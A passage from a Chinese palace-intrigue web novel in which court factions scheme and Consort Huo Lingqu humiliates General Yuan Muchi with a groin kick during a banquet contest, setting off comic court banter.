嬴忱璧小心思想真是祖孙俩,这德行跟昨天霍擎揍过他以后还想让他扶着一模一样的,心里歪歪唧唧一通,面上,嬴忱璧还是像模像样地叮嘱好贵妃再走。 皇帝来到殿阁外在庭前站会儿,刚进院的御前总管见陛下在院中忙赶到陛下跟前禀告:穆国公求见;秀女楚氏进钟萃宫给令愔夫人请安了;皇后娘娘派人过来传话,她多有不适,今夜陛下给原小将军办的洗尘宴,她就不出席了。 皇帝睨向他的大总管问:“皇后,病了?” 蒋厚运低低头,嬴忱璧嗤笑:“这是想给原小将军下马威还是想摆脸给朕看?” 大总管偏向于这是想给原小将军下马威,但这么个上不得台面的性子,大总管都想怀疑霍家是想搭救郭皇后了——在郭皇后把自己作死前给她找条生路,只因昨日她还不愿意回宫时陛下以筹备宫宴的名义令她回宫,她就能想给人家下马威呀。 何况这还不是皇后你给原小将军没脸,是让大家伙看你真上不得台面啊。 “贵妃出红疹了,不能出席今夜的晚宴,既然皇后也不能出席,朕就不带嫔妃了,你亲自去给令愔夫人知会一声,就这么说吧。”嬴忱璧吩咐。 “诺。” 没再停留,嬴忱璧大步往外走,来到长春宫正大殿前,传穆国公进来。在穆国公面前,皇帝还是不怂的,不像刚才被太后和贵妃接连甩脸,他也只能受着。 穆国公霍秦川报过事情再备注:“家父恐,非如此不能令忠毅伯府被夺爵后安生。” “行吧,去告诉太上皇吧。”嬴忱璧转念想又交代:“朕的意思,劝太上皇压压虢王府,不愿意结亲大可拒绝圣人,难道圣人还能强逼他家娶朱家女吗;结了亲,占着朱家的便宜又偏要装作不耻朱家要跟朱家划清,这种行径怎么叫人看得上眼?” 霍秦川领命告退,他走后,嬴忱璧望向天际,看见橘红渐染,夕阳将至。 然,今天的夕阳再美又怎么美得过小朱太妃的心情。 朱太妃进屋时,她这堂妹刚染好蔻丹,葱白纤手映着油亮艳丽的红,醒目极了。 一名舞娘在屋中翩翩起舞,一名歌伎唱曲儿,小朱太妃靠在美人榻里吃着水果看歌舞,还有宫女给她按肩捶腿,好不惬意。朱太妃走到堂妹面前,让她们都退下。 小朱太妃瞥堂姐一眼,赖洋洋吩咐:“退下吧。” 宫人们告退,退出她们堂姐妹的视野,小朱太妃坐起来抱怨:“二姐,我刚听个曲儿,你就来扫兴,今天有什么事啊你非得挑我看歌舞时来?” “今天有什么事不得问妹妹你吗?”朱太妃直截了当问:“四叔要做什么?” 小朱太妃又睨她眼,拿帕子按按脖子,反嗔:“你说什么呢,我听不懂。” “一家人,这么防着我是几个意思?”朱太妃拉过只锦凳坐,好笑道:“八妹,你瞧瞧你这两天心情多好啊,谁给你的好心情,难道是七妹吗,你哪回和你嫡姐碰面不得火冒三丈大发雷霆,二姐我怎么不知道你们姐妹俩的关系突然这么好了?” “瞧二姐你这话说的,我和我嫡姐又不是有仇,犯得着回回见面就掐吗?”小朱太妃略有些扭捏道:“她昨天就是来问问我们在长春宫的损失,我发什么火呀?” 朱太妃懒得跟她掰扯:“四叔到底要做什么?” “二姐你做什么,又没事,你疑神疑鬼的是有毛病吗?”小朱太妃不耐烦了。 “八妹,你可想清楚了,四婶多想除掉柴姨娘啊,七妹若来找你谈合作,她会没有后招等着你吗?”朱太妃警戒道:“你可当心你掉进了四婶的圈套还浑然不知。” 小朱太妃冷下脸反呛:“我姨娘如何就不劳二姐你操心了。” “好,姐姐就祝妹妹你被嫡母嫡姐算计后不会后悔。”语毕,朱太妃站起就走。 小朱太妃不屑地翻个白眼嗤声。 收到朱太妃出门时面色差、她们堂姐妹似乎谈崩了的消息,鞠太妃便去隔壁找庄太妃,正好撞上宫人们在向庄太妃请罪:没能请来晋王。 庄太妃派了宫人在昭德门候着想让晋王过来趟跟儿子缓和,宫人们也守到了晋王,只是还是没能将晋王请过来见生母。庄太妃看眼鞠太妃,让宫人们退下。 鞠太妃不算不怀好意以及看热闹地恭维她:“你可真会埋细作。” “鞠家在禁军中有人吗?”庄太妃反问,鞠太妃狐疑看着她,庄太妃沉声解释:“我这两天盯着朱太妃,我发现她也不知道昌隆侯要做什么,她也怀疑那两个堂妹有事情瞒着她。我想错了,昌隆侯是要动用他的眼线来做事,这对于你我却是鞭长莫及。” “我也不知道呀。”鞠太妃随意道:“要么我明天帮你问问我大哥吧。” “现在就去问,让郢国公派人盯着。”庄太妃全然一副命令的口吻,鞠太妃倒没觉得她是被命令了,更觉无语:“不就差一个晚上,你至于这么急吗?” “你没看见小朱太妃越近天黑越是兴奋吗,否则她堂姐会想此时去找她要准话吗?若是昌隆侯就是今夜要挑事呢,明早还来得及吗?”庄太妃心里不是没点想法的,但,不该啊,三十年前朱家是有位太后顶着,而今朱家何至于想出那等死招? “挑事就挑事吧,又挑不到你我头上,你非得什么都想掌控着不嫌累吗?”鞠太妃懒怠地不愿意费事,庄太妃再想训她时,宫人来报:郢国公找鞠太妃。 庄太妃当即盯着她,鞠太妃嫌烦地摆摆手:“行行行,我会帮你问的。” 鞠太妃转个身往外走,庄太妃也走出屋子来到庭院中站会儿,没想,鞠太妃返回得比她预想得快多了,瞧着她脸色很差,刚想问情况就被塞张纸条,她展开纸条,见纸条上写着:朱家有意用鞠太妃做箭靶挑起霍家和鞠家死斗,趁机染指京畿大营。 庄太妃握紧纸团,顷刻间眉目阴沉。 “我大哥说,蜀王进京了,这是蜀王刚送给他的,我大哥不确定真假,问我在宫里有没有发现朱太妃姐妹俩有异样?”鞠太妃怒火直飚,朱家居然想往她头上挑事?! “你只管告诉郢国公,是真的,让郢国公盯紧了朱家。”庄太妃心绪起伏地厉害,只觉得昌隆侯的胃口太大了,北境要染指,连京畿大营都想染指,他想做什么?! 鞠太妃满目凶光地往外走,庄太妃也紧随出慈寿宫去找儿子,她必须和晋王谈把昌隆侯手里的势力拿过来,不能再放纵昌隆侯了,否则必引火烧身。 125. 第125章 皇帝在景福殿给原小将军接风洗尘,华灯初上,景福殿内朱弦玉磬流光溢彩。 景福殿可容近千人,规模不算大,相应的,今夜参宴的大臣与官眷不算多。 晚宴伊始,皇帝和太上皇皆和悦地给原小将军敬杯酒,酒喝过,原牧炽把银票掏出来,压根儿不觉得他在嘚瑟:“圣人、陛下,这是霍贵妃和魏王给臣的,二十万两银票,霍贵妃和魏王各出十万两,让我给北境的将士们冬日里添身棉衣。 臣不大理解霍贵妃和魏王是个什么意思,不敢收,更不敢私底下把银票退了省得有些人跋扈惯了认为我不识好歹给家中招祸,还请圣人和陛下给小臣做个主。” 众人神情有些微妙,皇帝嬴忱璧真意外贵妃找魏王拿银票的用意,魏王妃更意外惊讶,霍漓江腹诽这闺女可真会替魏王收买人心,这下好了把自己搭进去了吧。 皇帝嬴忱璧微笑询问:“皇兄,这是怎么回事呀?” 魏王淡定摘掉自己:“是贵妃硬抢魏王府的银两,臣也不懂贵妃是何意。” 嬴忱璧险些有丝难以置信,皇帝他就觉得不管是晏霁之和贵妃还是魏王和贵妃,这关系都有点怪怪的,他们好像不在意甚至是热衷给对方挖坑,这,正常吗? 晏霁之看来很正常,魏王不愿意出这笔银两嘛。魏王妃忍俊不禁,好些人侧目向魏王,霍漓江心说,他闺女可真爱多事,看看,魏王眼睛都不眨下就把她卖了吧。 “想来贵妃是另有用意,让贵妃来把事情说一说吧。”太上皇朗笑道:“几颗红疹而已,不当什么事,添份桌椅,让贵妃过来吧。” 嬴忱璧想,省得他找理由了。 景福殿内进歌舞,觥筹交错间,晏霁之找霍海啸去到殿外空旷地,问件小事:“郢国公有找霍家谈过朱家想挑起霍家和鞠家死斗、趁机染指京畿大营吗?” 霍海啸奇怪地看着他,晏霁之笑:“很奇怪吗?” “是奇怪。”霍海啸揣摩道:“鞠家和霍家早已结仇,你不想郢国公该坐山观虎斗看霍家和朱家斗个两败俱伤反而倾向于他应该知会霍家,不奇怪吗?” “我想起月初我和你祖父夜谈时老太爷曾提及鞠家成不了气候,还被显国公府反超。”晏霁之踏过步,看过夜空昏暗,隐有感触:“我在想,若是显国公在郢国公的位置,也许会知会霍家,暂且放下过往和霍家联手,许多事真的是可见一斑。” 霍海啸沉默下追溯:“姑母的八公主被害时鞠家圣眷正渥,圣人护着,霍家没法报仇,后来鞠家的圣眷被班家取代,我问祖父,为何还不给八公主报仇? 祖父教我,差几年不是差,只要留着鞠家,圣人就休想忘记他欠着霍家一条命,朝中看霍家跋扈、鞠家门风好的人家休想忘记霍家的痛和鞠家的张狂,不好吗?” “还能示弱,让鞠家以为霍家碾不死鞠家才一直没有出手。”晏霁之补充。 “十年前圣人是有多想把鞠家扶起来啊!”霍海啸倏然冷笑:“可惜啊有心栽花花不开,老郢国公活着时鞠家都被显国公府反超了,京畿三大营三位统帅,若非你晏家藏拙,你堂叔晏堪会压不过郢国公吗,你看鞠家看不看得透这么浅显的一点?!” 晏霁之默然,低眸问:“你猜,待会儿郢国公会出头吗?” “若是护国公在,护国公不知内情必然会出头。”霍海啸讥讽:“我爹明确告诉了圣人,他打招呼时漏掉了郢国公府,你看太上皇对郢国公能不能有点异样?” 两人出景福殿时不想引人注意,返回殿内时同样不想引起谁注意,但,还是被揪住了,皇帝嬴忱璧和蔼可亲问:“霁之这是找海啸谈什么了呀还要特意避去殿外?” 晏霁之瞟眼皇帝,答曰:“格局。” 嬴忱璧笑意纯善仿佛真没想找茬似的:“哦,有谈出什么心得来吗?” 皇帝这点小九九没憋坏才怪,晏霁之会心一刀:“表哥,我今早没向你老舅赞你而已,你小心眼的还在姑父姑母面前给表兄弟记小黑状合适吗?” 没待嬴忱璧反击,霍太后给面子地配合数落:“是不合适。” 太上皇乐得笑了出来,被父母联合夹击的皇帝嬴忱璧:“……” 鞠太妃给庄太妃使眼色,庄太妃淡然自若,霍贵妃今早和皇帝吵架了呗。 众臣及官眷们只当没看见皇帝的尴尬,嬴忱璧调整心情佯装厚脸皮压压郁闷想反击时又被他爹挡住,就见太上皇蛮高兴地说:“好了好了,霁儿坐吧。” 晏霁之谢恩回位置坐,嬴忱璧不高兴地想行吧,就不信今晚还能没机会。 霍灵渠遮着三层面纱又戴顶黑纱帏帽而来,进到景福殿中,给太上皇和皇太后请过安并且略过皇帝,面对质疑,她淡定道:“哦,我想试试陛下对我的心意。 想当年圣人对温献皇后护得多好,像这种情况,圣人必定往自己身上揽,果然陛下就是不能比的,你在刑部许出的旨意就是假的,一试就试出来了,亏得我够清醒没有相信过你,若不然,我陪郭皇后遁入空门怕是都比相信你来得有前程多了。” 嬴忱璧:“……” 皇帝在心底狠狠冷哼,他这位贵妃之前说的好听,让他随便找个理由喊她过来,瞧瞧,这还不是故意挖坑等着他吗,若非她误导他,他能不想拦吗? 当然啦,就算没有霍灵渠的误导,嬴忱璧可能也不会想把责任揽自己身上,但,霍灵渠误导了,现在小心思作祟的皇帝肯定不能想这还是他的责任居多。 众人憋住不笑,还有些位险些没憋住笑的,例如魏王和晋王都乐得看皇帝的热闹,魏王虽然真想看霍灵渠因此吃个瘪,但最后掉坑里的变成嬴忱璧确实更不错。 皇帝嬴忱璧轻咳声想再挣扎时又被他太上皇老爹挡住,太上皇蛮慈祥地说:“贵妃来了就入席吧,几颗红疹,不值当什么事,把帏帽摘了吧。” 嬴忱璧傲娇想他这爹真不是故意的吗?再看他这位贵妃,大度想,算了吧。 霍灵渠当然不能摘帏帽呀否则她戴来做什么,没犹豫地挑事:“圣人,今夜不是还多了个陌生人么,我这么漂亮,万一有人对我垂涎怎么办?” 太上皇可能真的心情还不错,当是个玩笑,没多想,只是他还没圆场,原牧炽反击了:“霍贵妃说的陌生人是我吗?娘娘您可太多虑了,我就算是——”他瞥眼晏霁之,故意道:“我就算是看上晏霁之,我也不可能看得上你啊。” 看客们:“……” 晋王率先提醒:“晏霁之是个男人,原小将军。” 原牧炽反鄙视:“晋王的领悟能力不是这么差吧,这你有什么不能理解,这当然是我就算是看上个男人都不可能看得上她啊,何况我本来就觉得晏霁之比她漂亮多了。 不管霍贵妃生的什么模样,我都觉得晏霁之肯定比她漂亮,就算这世间的女人死的只剩她一个了,我也宁愿跟晏霁之过都不可能看得上她。” 众人只觉得头顶有一群乌鸦飞过,这都什么跟什么呀,霍秦川特想捂脸。 晋王引战目的达到,不再多言。太上皇和皇帝想把事情略过时,晏霁之不嫌事大地说:“我也觉得我比霍贵妃漂亮,阿炽,你是我今夜见到的最有眼光的人。” 原牧炽冲他抻抻手,意思就是好说、好说。 其他人的感观可就没那么好了,不少人看向晏霁之,连霍灵渠都没落下,晏墉嫌丢人,好在没想踹儿子,晏霁之挑准霍灵渠进攻:“霍贵妃有什么意见吗?” 霍灵渠转过视线,原牧炽乘胜追击:“就请霍贵妃把银两收回去吧。”他还丝毫不觉得会打自己脸地加句:“我北境的将士们可消受不起您和魏王的银两。” “原小将军,本宫给出的银两若被退回来,脸还往哪儿放?”霍灵渠不着痕迹地牵引:“这笔银两,原小将军就痛快收着吧,别闹到最后,你自己丢脸。” 原牧炽倨傲昂首:“让贵妃您操心了,但本少爷我是个硬骨头,我说不收就不收。” “不然,本宫跟你比比,我赢了,你就乖乖把银票收着吧。”霍灵渠终于能有暇能好好看看她的六哥哥,四重面纱之下,她抿起笑意,六哥哥又是神采飞扬的模样了。 “跟我比?”原牧炽放肆嘲笑:“霍贵妃您今夜出门没带脑子是吧。” 嬴忱璧想控场都没空隙,霍灵渠麻溜无语鄙夷:“我说了跟你比武吗?” “那你想比什么?你要是想比绣花,别怪本少爷我不给贵妃你脸面,不能应战。” “比谁先找出对方的软肋,公平吧?”霍灵渠显然早准备好了,原牧炽爽快:“行!我让你三招,不,我让你三十招都行,你要是能赢我,这银票我就收下了。” “这可是你说的。”霍灵渠语带警告,原牧炽不屑:“我说的,你放心,我说让你三十招就让你三十招,本少爷我——”我字就被霍灵渠打断了:“我说的是收银票。” 原牧炽被噎下放话:“本少爷我还能赖账不成,只要我输了,我一定愿赌服输。” 霍灵渠笑逐颜开:“好!” 于是乎,在他俩迅捷的连皇帝和太上皇想干预都没空隙的交涉中,比试落定了。 可这成何体统!太上皇嫌糟心地瞪皇帝,嬴忱璧默默扭头,他也想拦,没找到机会嘛,这会儿贵妃都和人家谈妥了,他若再拦不是要让贵妃闹得没完吗? 皇帝想,原牧炽总不至于一点常识都没有,不会闹得太难看的。皇帝考虑的也有道理,这不护国公夫人看比试落定就叮嘱孩子了:比试时尽量不要触碰霍贵妃。 霍灵渠低头从袖中取出绸带,原牧炽看得直想翻白眼,众多观众包括刚才想调和想控制场面都没机会的皇帝嬴忱璧乃至晏霁之和霍家诸位都想劝贵妃,你真不用想靠条绸带能赢,没成想,霍贵妃竟是拿绸带往自己脖颈绕,看客们:“……” 绝大多数人憋着没笑,鞠太妃没顾忌地快笑抽了,闹得太上皇直想闭眼睛。 湘王强忍着数数,数到忍无可忍时他就不忍了。晋王转过头没看,庄太妃瞥过眼儿子,岂会捕捉不到晋王对霍贵妃的手下留情吗?魏王是连冲上去把她这条绸带抢走的心都有了,这女人发什么疯呢?乐邑长公主想她这童年小伙伴没病吧。 霍太后深呼吸冷静,霍舒窈可已快要暴走了,特想冲去摇摇这妹子的脑子给她醒醒脑,你能别这种时候犯蠢吗?!霍绥业对老兄怀疑:没认错娃吧? 晏霁之转过脸,没眼看,霍漓江这当爹的都嫌没眼看啊,原牧炽都懒得嘲笑她了,嘲笑这种弱智嫌辱没他自己:“你不是想给我表演个上吊吧?” “贵妃?”嬴忱璧委婉地提醒:“还是让海啸替你比试吧?” “你懂什么呀?”霍灵渠系好绸带,不识好人心地反呛:“我戴着面纱多影响我跑路,我不得拿绸布把面纱绑好呀,你不懂就不要啰嗦来妨碍我?” 皇帝嬴忱璧闻言,没再多言,转过龙颜,第二回不想看见霍贵妃。 许多看热闹和不是故意看热闹的都想,行吧行吧,看霍贵妃能折腾出什么水花来。 准备就绪的霍灵渠让原小将军过来比试吧,原牧炽走到殿中位置距霍贵妃五步远站定,大大方方张开双臂说:“动手吧,我说了让你三十招,我就一定让你三十招。” 他语毕,霍灵渠走向他在两人只相隔一步左右的位置站定,原牧炽扬扬眉,面露轻佻:“霍贵妃你走这么近不合适吧。”话落,袭击袭来,他一时没反应过来地看着眼前这女人,他刚才是被袭击了吗,还是他在臆想呀,可他怎么会臆想受这种袭击? 围观的众位:“……”刚刚发生了什么发生了什么,天爷啊…… 庄太妃够见多识广了都被这惊世骇俗的一踢搞得懵了懵,萧灼灼目瞪口呆,天底下会有女人家做这种事情、不、是会想做这种事情吗?霍贵妃真有病吧? 景福殿犹若被掐住咽喉般静止起来。 魏王被气笑了,这女人可真是好样的,难怪她胸有成竹,早算好了是吧! 晏霁之惊住,她是从哪儿得来的灵感呀? 霍舒窈怀疑这妹子疯魔了,极其想冲过去把人拖走。 乐邑长公主瞬间拧驸马,薛述聪吃痛训她:你拧我做什么? 不知道,反正乐邑就是想拧驸马,霍灵渠这厚脸皮的简直是不要脸了。 霍漓江都觉得闺女不想要脸了,被滞住几息时间后转头,霍秦川捂着他肝颤的小心脏忒想捂脸,霍擎端坐着,霍绥业在旁推着老哥,逼得霍擎愣是破功了,祖宗啊……霍雄鹰当惯小霸王的都呆了,霍巨浪也推推他哥,霍海啸像被触电般挥开弟弟。 刚看着霍贵妃走向原牧炽站那么近还有点不是滋味的皇帝嬴忱璧愣是不知该如何是好,太上皇和霍太后夫妇被噎得不上不下,总之,全被霍贵妃的举动震惊了。 “你?”原牧炽犹疑地伸手指向她,忽又遭遇袭击,霍灵渠宣告:“我赢了。” 原牧炽&观众们:“……” 静止的大殿趋向于短暂石化,其间甚至仿佛能听到心脏咚咚咚的跳动声,倏然间,一道身影疾闪过,霍灵渠刚想跑就被晏霁之拽到身后,她愣下,抿抿唇,有种说不出的滋味就好像在自己计划外的感动,是的,感动,晏霁之冲过来护着她了呀。 她的计划是她跑去太上皇身后躲起来再和六哥哥交涉,她就没想过谁会来护着她,但,纵使没有想过,可晏霁之冲出来护着她,她怎么可能没有一点动容。 原牧炽的两名副将受到启发,打个激灵就冲去拉住他们的小将军,护国公夫人也慌忙紧随着去安抚孩子,原牧蔷小姑娘想跟被她嫂嫂章醇郡主拦住。那厢边霍家,霍枫叶站起来又收回迈出的右腿坐下,霍海啸赶到妹妹身边忙让这混球回自己位置。 “啊啊啊啊……”被两个副将死死拖着的原牧炽醒过神来发飙,动静大的简直是要把景福殿震两震:“跟我玩阴的是吧,有种啊,行,银票我收下,但这笔账,你休想算了,老子我可没有不打女人的讲究,看我今天不把你拍成肉饼?!” 石化皲裂,刚静止到像被抽离的看客终于又像活过来了,而后,众人见此情景差不多都是一脸惨不忍睹,嬴忱璧想,他刚才有否想过护着贵妃呢?没有,真的没有。 皇帝闭闭眼再睁眸缓和:“原小将军——”可惜皇帝只吐出四个字就被原牧炽呛回去了:“不可能!你想都不要妄想你用三言两语就想抵消,你是皇帝也不用想。 你要劝我之前怎么不知道管好你的女人,她自己做的事她就得自己担着,谁想劝我的让我也往他胯~下踹两脚,我看哪个混蛋还能站着说风凉话。” “但能让她先给我证明清白吧?”晏霁之刻不容缓地要求。 看客们齐看向晏霁之,晏墉拽儿子都被甩开了,原牧炽冷静下防备:“你想干什么,你当我会不知道这霍贵妃就是你以前那个流光姨娘吗?” “我想做什么?你知道你还问?!”晏霁之怨火冲天的斥责:“你若是把她打晕了,谁来给我证明清白,你没看见我的事不比你小吗?” “你什么清白,你凑什么热闹?”原牧炽想也没想地怼回去,说完被晏霁之瞪,又被副将拽衣袖,他恍然大悟,想笑时又被晏霁之瞪,他咳嗽下还算厚道:“行,我给你这面子。”说着他看向皇帝,眼神特别意味深长,嬴忱璧真是也都想发火了。 “原小将军,你应该相信自己,你是个特例,仅此你一例。”皇帝如是道,台下看官们没按捺住的眼神交流,原牧炽想还击被晏霁之拽过:“你就待会儿算总账吧。” 太上皇看得真想骂两声,这都叫个什么事啊。 原牧炽咬牙憋下来等算总账,晏霁之对霍海啸恭维:“我算是知道你贵妃妹妹作甚要把脸包起来了,让她站出来,她这种事都做得出来还用得着你替她挡着吗?” 霍海啸真想嫌嫌他能不能摆正自己的位置,让开步,霍灵渠挪出来,仿佛做错事被揪住般压低着视线不敢看晏霁之,虽然她不觉得她有错,但就是不敢看晏霁之。 晏霁之看着她真没好气:“还我和流光清白,是你的责任吧?” “当然了!”霍灵渠猝不及防奋起险些把看客们吓跳:“流光姨娘的温柔可倾注着我半生心血是我穷尽半生的耐心才有的,谁敢污蔑流光,我跟他没完!” 她再看向六哥哥装腔怒骂:“原小将军是没长脑吗,我又不靠你过活,流光姨娘要仰赖晏霁之,霍贵妃要仰赖陛下,可我霍灵渠难不成是要仰仗你吗,你和他们两个能有的比吗?诚如陛下所言,你应该相信自己,你是个特例,仅此你一例。” 太上皇被气得想,贵妃可真有脸呐,还好意思说你是个特例,仅此你一例?! 当然,这么想的观众很多,乐邑看她这个童年小伙伴是真的不要脸了。 霍漓江看他闺女是真怕晏霁之呀,晏霁之一板脸一瞪眼都能吓她一哆嗦。 原牧炽捏拳头想挥拳时又被晏霁之挡住,晏霁之问:“谁教你的?” 霍灵渠:“……”她若是说,这点事还用人教吗,晏霁之会想打她的吧。 原牧炽遂再忍忍,霍灵渠眼眸转转,眼神飘向她大伯,众看官的视线随之盯向穆国公,霍秦川寒毛倒竖,这贵妃侄女不能这么坑他吧?霍灵渠只好转移视线,瞟见魏王,魏王当即反瞪回去,霍灵渠只好打消把这事栽给魏王的心思。 然后她转个身看向皇帝,嬴忱璧不可思议地反看贵妃,霍灵渠想好吧算了吧。 “哦,是蜀王教我的。”霍灵渠找个能背黑锅的,其他人:“……” 看霍贵妃怎么圆谎,观众们不算幸灾乐祸的想,这都不用他们幸灾乐祸了。 霍舒窈手托着脑瓜让自己冷静,她爹霍秦川摸摸小心脏想还好还好。 晏霁之被她气乐了:“哦,请问蜀王怎么教你的?” “谁让蜀王不在呢。”霍灵渠也懒得装:“反正就这么个答案,你爱信不信。” “……” 还想看霍贵妃圆谎的观众们想他们真的太天真太单纯了,太上皇被气得再瞪皇帝,皇帝嬴忱璧默默转过脸,霍海啸都想捂脸,萧灼灼神奇的想,霍贵妃真的不要脸的吗,她被湘王戳破来打秋风都受不住,霍贵妃怎么就能这么没脸没皮? 是啊,霍秦川都想劝贵妃娘娘既然扯谎了就圆圆谎吧,你哪怕说神交呢,好歹替霍家的名声想想是吧,虽然霍家没什么名声了,但他还是想拯救一下的。 “果然是霍家的种!”原牧炽动动手腕,满目高傲的嗤之以鼻:“不要说把脸包起来了,霍贵妃你就算脸毁了,就你这没脸没皮的德行也是一看就知是霍家的种啊。” 他话落,看官们纷纷默赞怼得好,太上皇瞧着原牧炽的眉宇神情却是一怔。 其实吧,对于多数霍姓而言,这么点对呛不痛不痒,霍灵渠就更不在意了,霍太后要训斥都被她爹制止了,霍擎还拦住了孙子霍雄鹰,什么事呀犯得着跟人对骂么。 而大家可能也习惯了霍家人对自家口碑差很坦然,对霍家没反应也没奇怪。 泛醋味的晏霁之有意见,在心里骂她,刚才多振振有词,怎么不呛原牧炽? 谁想,霍灵渠没反应,霍秦川不惧瞩目地提醒了:“贵妃,您该反驳了。” 皇帝嬴忱璧斜眸瞟瞟穆国公,穆国公不会是记着贵妃刚想栽赃给他故意的吧,还别说,好多人都这么想,要不然霍秦川他突然抖什么机灵啊? 当然是替霍家的名声着想,霍秦川在心里给自己辩解,原牧炽不屑冷嗤声,霍灵渠无奈抿抿唇,然后就被皇帝抢先了:“霁之似乎另有想法?” 这个另字用的好,众人齐刷刷看向晏霁之,晏霁之看眼皇帝,貌若诚挚:“第一,轻敌往往是实力强盛一方会落败的根源,所谓骄兵必败,前些天陛下你在刑部大牢被霍贵妃关在铁牢里与今夜原小将军输掉比试都是同个原因,轻敌。 第二,老穆国公曾送给过我一句话:虚怀若谷四个字能让人终身受益,臣想送给陛下,人主肩担家国社稷不容有半点轻忽,君主圣明治下才能有国运昌隆。 第三,臣今日遇到了个很厉害的人,他的厉害之处在于:别人都是给别人挖坑,他是专给自己挖坑还是不坑死自己不罢休的深坑,臣将引以为鉴,陛下也以他为鉴吧。” 太上皇对这第三点差点没乐,皇帝嬴忱璧默默捏拳头忍着没黑脸:“好,这三点建议,朕收下了,但以霁之你的聪慧必定能安抚住原小将军吧?” 晏霁之踢回 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此时想下场的人真不少,皇帝、魏王和晋王、太上皇、乃至是鞠太妃,没想反而是湘王率先出头:“表姐你是不是有什么把柄在晏霁之手里,你好像很怕他。” 众人一怔,恍然惊觉霍贵妃似乎真有些害怕英王世子,霍漓江想这外甥的眼力劲不错,晏霁之转过身想和唱唱双簧时被霍灵渠抢前了:“是表弟你忽略了他对我的好。” 当然是有把柄还是个要命的把柄,但霍灵渠认是绝对不可能认的:“你方才可有想过冲出来挡在我身前,没有吧,各人付出不同,得到的回馈自然各不相同。” “贵妃你昨夜还在侃侃而谈,这种事本质上就是钱货两讫吧?”魏王紧随开轰。 “青梅竹马,又是曾经的枕边人,岂是陌生人能比?”霍灵渠不以为然。 “贵妃还是注意措辞,你已经是皇帝的霍贵妃,不是晏霁之的流光姨娘了。”鞠太妃懒洋洋地着重告诫,霍灵渠还击:“看鞠太妃,不知道的还以为你姓霍呢。” 看客们:“……” 霍海啸莞尔,霍绥业拉着他哥乐,霍灵渠呛得妙啊,霍家名声差,我认,可你鞠家名声不是很好吗,怎么你鞠太妃行事也没比霍家好? 霍擎在心里骂臭丫头,霍枫叶靠近二哥提:得防范有人想做文章。 做什么文章?自然是以此影射霍贵妃行事不检点,霍漓江瞥过眼那两位太妃,反笑道:“陛下不是有口谕在前么,鞠太妃今夜若没想出头就推她一把,咱们多看场戏。” 霍枫叶笑应好,霍太后可是被噎得郁闷吃水果,霍秦川也郁闷,伤敌一千自损八百呀,虽然霍家没什么名声了,但咱自己不能认是吧。 鞠太妃冷笑:“本宫何德何能,怎能担得起你霍家的霍姓?!” 不只是看热闹的看官们看来自是懂得,鞠太妃的回击落在了下乘,霍贵妃的这一句话最妙处就在于已夺得先机能稳稳压住对方令对方根本不能再旗鼓相当的唇枪舌战了,甚至于,班丞相隐晦观全局,霍家若趁热打铁清算鞠家,鞠家今夜就能名声扫地。 毕竟,而今霍家已握有明确指向,皇帝的密报闹出来,舆论岂能不变? 太上皇也有此担心,认真些注视霍贵妃,不能再任由霍贵妃闹了。 庄太妃不着痕迹地瞥过太上皇,唇畔溢出丝笑意,贵妃到底年轻,还太嫩了。 敏锐的大臣都嗅得出殿内风向已悄然生变,显国公避过些教导薛述聪,天黑前刚抵京的霍开同拽拽堂哥,霍擎随意:“贵妃想闹出来就闹,今夜还差这点事吗?” 出人意料的是,霍灵渠没有恋战再与鞠太妃交锋,而是转向原牧炽,说:“原小将军,你刚还欠着我一声赞,这就还了吧,欠债不还总归是不好的。” 鞠太妃不屑冷嗤声,身边人都能听见,或许她就是要让霍氏姑侄听到。班太妃睨她眼,心里好笑,还当霍家是对你示弱么,还不是圣人不愿意事情闹大,不看看霍家多会做人,可你看看你这副嘴脸,圣人不想再护着鞠家时你和鞠家还能逃得过吗? 庄太妃还真有点惋惜,她倒是小瞧霍贵妃了。 但对太上皇乃至是对皇帝,是舒服的,他们都不想今夜闹出超出掌控的事。 犹记得班丞相曾言,人的路都是自己走出来的,一场可预见的风波消弭于无形,班丞相不禁对儿孙感慨:“看懂霍贵妃的高明了吧,你们以为她要的是什么赞?”不必儿孙回答,相爷自问自答:“自然是对霍家坦荡的夸赞。” 坦荡对虚伪,高下立判。 比起挑出八公主的死惹恼圣人,强得不是一星半点,显国公也是唏嘘。 原牧炽看她是真嫌活腻的非要作死:“要不你过来,撇去我要把你拍成肉饼的这笔账,我再打你两拳,我保证不打死你,我再赞赞你勇气可嘉?” “原小将军,咱们就事论事讲,你刚才是含沙射影指摘我霍家不好吧,我有反驳吗,我霍家纵有再多不好,论豪气,有几家能比;比坦荡,我霍家比你原家差吗?”霍灵渠激道:“有仇报仇,欠债还债,你总不是个是非不分之辈吧?” 坦荡影射的不就是虚伪么,再联系霍贵妃刚和鞠太妃的对峙,有些人神情微妙,郢国公意识到不好看向穆国公,霍秦川乐,踩着鞠家给霍家挽回点名声真是不错。 鞠太妃窝火地要反击被庄太妃拦住,这会儿出头不是被霍家追着打吗? 原牧炽也懂了,霍贵妃要的不是赞而是想借机还击鞠太妃,懒得再耗,问晏霁之:“你们谈完了吧,足够证明你的清白了吧?” “我再问她个问题,最后一问。”晏霁之看向霍灵渠,很怀疑:“刚才的招数,你是不是想用来对付我?”他说着凶她:“不能对付我才转而对付了原牧炽?” 霍灵渠被憋住,所向披靡的气势也被活活掐住。 大殿内静寂下泛起诡异流窜,波及广的连宫女太监们都没能避过,湘王拧巴着小白脸,感觉…想不出来是什么感觉。晋王看晏霁之是昏头了,薛述聪真想骂他了,虽然乐邑长公主嬴纤若自觉她不是她这个童年小伙伴这种没脸没皮的做不出这种事情来。 晏煦之瞥瞥媳妇又快速傲娇扭头,桓炜彤冷俏哼,避什么呀。 萧灼灼觑向堂嫂,霍舒窈端正着脸,很端正,虽然她婆婆都不能相信她,萧耿烨苦逼,晏霁之清白了,他可要跳进黄河都洗不清了,今后必会有络绎不绝的人怀疑他?! 毕竟这实在是给了所有女人们一个新思路。 显国公再稳得住都被烧到了,尚公主死活都要被敏感啊。 英王晏墉麻木了都被逼得又激起生气,能不能要点脸,他嫌尴尬! 霍家,穆国公霍秦川第一个捂脸,咱还是把外人当外人吧,这么不见外真的不合适。霍漓江很淡定,绝对没人敢怀疑他,霍海啸同样淡定,同样个理由,霍巨浪撑着额头很平静,霍雄鹰很纠结,霍绥业饶有兴味被霍秉坚借伯父的拐杖敲了老爹一记。 太上皇在想什么呢,太上皇什么都没想,只想皇帝又在装什么闷葫芦?! 